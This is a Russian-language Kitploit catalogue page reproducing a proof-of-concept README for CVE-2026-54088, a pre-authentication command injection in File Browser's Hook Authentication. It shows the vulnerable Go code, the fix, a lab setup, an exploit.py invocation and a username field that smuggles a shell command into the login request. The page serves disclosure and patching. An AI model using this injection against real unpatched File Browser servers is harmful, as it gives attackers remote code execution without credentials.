Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-54088-poc — Доказательство концепции эксплуатации для CVE-2026-54088 — внедрение OS-команд до аутентификации в File Browser <=2.63.5. Демонстрирует внедрение команд через Hook Authentication для достижения удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/saku0512/cve-2026-54088-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Доказательство концепции эксплуатации для CVE-2026-54088 — внедрение OS-команд до аутентификации в File Browser <=2.63.5. Демонстрирует внедрение команд через Hook Authentication для достижения удалённого выполнения кода.

Репозиторий
132 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-54088: Инъекция команд через замену оболочки в хуке аутентификации (RCE до аутентификации)

Английская версия

Обзор

Этот репозиторий содержит Proof of Concept (PoC) критической уязвимости внедрения команд ОС CVE-2026-54088, присутствующей в File Browser версии <= 2.63.5.

Уязвимость находится в функции Hook Authentication. Если администратор настроил File Browser на аутентификацию пользователей с помощью внешней команды, то переданные при входе username и password разворачиваются в заданную командную строку функцией os.Expand() без экранирования. Неаутентифицированный удалённый злоумышленник может внедрить синтаксис оболочки через запрос на вход и выполнить произвольные команды до того, как аутентификация будет завершена.

Обнаружено: saku0512 (https://github.com/Saku0512)


Отказ от ответственности

Этот проект предназначен исключительно для образовательных целей и этического тестирования безопасности.

Автор не несёт никакой ответственности за неправомерное использование данного инструмента, причинённый ущерб или незаконные действия. Несанкционированный доступ к компьютерным системам является незаконным. Используйте это программное обеспечение только в средах, на которые у вас есть явное разрешение.


Детали уязвимости

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • Тип: Инъекция команд ОС (CWE-78)
  • Воздействие: Удалённое выполнение кода (RCE) до аутентификации
  • Затронутые версии: File Browser <= 2.63.5
  • Исправленная версия: File Browser 2.63.6
  • Затронутый файл: auth/hook.go
  • Затронутая функция: HookAuth.RunCommand

Коренная причина

HookAuth.RunCommand() разделяет настроенную команду аутентификации и с помощью данных запроса, контролируемых злоумышленником, разворачивает плейсхолдеры учётных данных.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Если hook-команда настроена следующим образом:

root@kitploit:~
sh -c $USERNAME

И злоумышленник отправляет, например, такой username:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Во время попытки входа сервер выполнит управляемый злоумышленником скрипт оболочки. Для этого не требуется действительная учётная запись или пароль.

Исправление

Проблема исправлена в коммите 34ae34e764d72540c039f1f5ea2ec4c974168c1f путём удаления подстановки учётных данных из строки hook-команды. Hook-команда выполняется как настроена, а учётные данные передаются только через переменные окружения.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

Удалённый уязвимый код — это цикл os.Expand(), который перезаписывал аргументы команды учётными данными, контролируемыми злоумышленником, до вызова exec.Command(). Также добавлены регрессионные тесты, проверяющие, что внедрённые учётные данные не могут изменить hook-команду, а USERNAME/PASSWORD по-прежнему доступны hook-у через переменные окружения.


Proof of Concept (Инструкция по использованию)

1. Настройка окружения

Запустите уязвимое окружение File Browser. Сервис filebrowser-init создаёт базу данных и активирует Hook Authentication с уязвимой командой.

root@kitploit:~
docker compose up -d

Цель доступна по адресу:

root@kitploit:~
http://localhost:8080

2. Запуск эксплойта

Выполните скрипт эксплойта из этого каталога.

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Эксплойт отправляет один неаутентифицированный запрос на /api/login. Ожидается, что аутентификация завершится неудачей, но перед этим будет выполнена внедрённая команда.

3. Проверка через GUI

Откройте в браузере страницу входа File Browser.

root@kitploit:~
http://localhost:8080

Введите следующие значения в форму входа и нажмите кнопку входа:

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

Вход будет неудачным, но выполнение команды Hook Authentication происходит до возврата результата аутентификации. Проверьте, что маркерный файл создан в контейнере с помощью GUI:

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Если файл существует, значит RCE до аутентификации произошла и через операцию входа в GUI.

4. Проверка CLI PoC

Убедитесь, что команда выполнена внутри контейнера File Browser.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Если файл существует, RCE до аутентификации подтверждена.

5. Очистка

root@kitploit:~
docker compose down -v

Меры противодействия

Обновите File Browser до версии 2.63.6 или новее.

Учётные данные не должны встраиваться в строку команды оболочки, а должны передаваться hook-команде только через переменные окружения. Для других путей выполнения команд также следует избегать интерпретации оболочкой или применять строгое разделение аргументов и экранирование.


Ссылки

  • Репозиторий File Browser на GitHub
  • Уязвимая реализация File Browser v2.63.5
  • Исправляющий коммит: удаление недокументированной аутентификации хука с заменой оболочки
Скачать инструмент